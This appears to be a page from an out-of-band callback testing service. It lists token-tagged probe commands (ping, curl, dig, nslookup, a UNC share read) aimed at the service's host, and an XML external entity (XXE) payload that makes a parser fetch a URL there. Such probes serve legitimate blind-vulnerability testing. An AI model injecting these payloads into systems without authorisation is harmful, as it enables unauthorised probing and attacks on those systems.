$ ping -c1 -p 0039397cc6c1ab52f0834f31b0bac800 unhack.ca
 

$ curl http://unhack.ca/p/39397cc6c1ab52f0834f31b0bac8
 

$ dig 39397cc6c1ab52f0834f31b0bac8 @unhack.ca
 

$ dig 39397cc6c1ab52f0834f31b0bac8.ns.unhack.ca
 

C:\> nslookup 39397cc6c1ab52f0834f31b0bac8 unhack.ca
 

C:\> type \\unhack.ca\39397cc6c1ab52f0834f31b0bac8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/39397cc6c1ab52f0834f31b0bac8">]>
    <foo>&xxe;</foo>